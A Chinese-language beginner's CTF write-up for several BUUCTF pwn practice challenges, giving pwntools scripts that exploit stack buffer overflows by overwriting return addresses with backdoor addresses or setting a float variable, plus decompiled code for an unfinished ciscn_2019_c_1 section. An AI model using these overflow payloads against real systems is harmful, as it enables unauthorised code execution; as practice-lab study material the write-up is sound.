前言:只是一个在努力学习pwn的小菜狗,还请大佬们多多指正
warmup_csaw_2016
明显的栈溢出漏洞,看到v5的长度为0x40、后门函数的地址为0x40060d
from pwn import *
from LibcSearcher import *
context.os='linux'
context.arch='amd64'
context.log_level='debug'
sl=lambda x:io.sendline(x)
io=remote('node4.buuoj.cn',25851)
payload=bytes('a',encoding='utf8')*(0x40+8)+p64(0x40060d)
sl(payload)
io.interactive()
ciscn_2019_n_1
func()
没有必要进行溢出,只要覆盖到v2,让v2==11.28125就可以
注意数值转换
请参考:浮点数在内存中如何表示
from pwn import *
p = remote('node4.buuoj.cn', 27536)
payload = bytes('a',encoding='utf8')*(0x30-0x04) + p32(0x41348000)
p.sendline(payload)
p.interactive()
pwn1_sctf_2016
vuln()
后门函数
from pwn import *
p=remote('node4.buuoj.cn',26933)
payload=20*bytes('I',encoding='utf8')+4*bytes('A',encoding='utf8')+p32(0x8048F0D)
p.sendline(payload)
p.interactive()
参考文章
CTF(Pwn)32位文件 和 64 文件 的 差异
pwn1_sctf_2016
2021/10/04
jarvisoj_level0
关于这道题。。。
因为ubuntu16的pwn环境没有配置好,有几个问题一直没有得到很好的解决,所以,在这里埋一颗种子,等待日后发芽。。。等到问题解决了,会专门写一篇文章记录一下环境配置过程中遇到的问题。
环境搭好了~~
ubuntu16 pwn环境搭建
寻找函数的返回地址payload:
from pwn import *
p=remote('node4.buuoj.cn','29292')
payload=bytes('a',encoding='utf8')*(0x80+8)+p64(0x400596)
p.sendline(payload)
p.interactive()
ciscn_2019_c_1
main()->encrypt()
encrypt()
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h]
__int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}
挖个坑。。。
去恶补一下基础知识。。
持续更新中。。。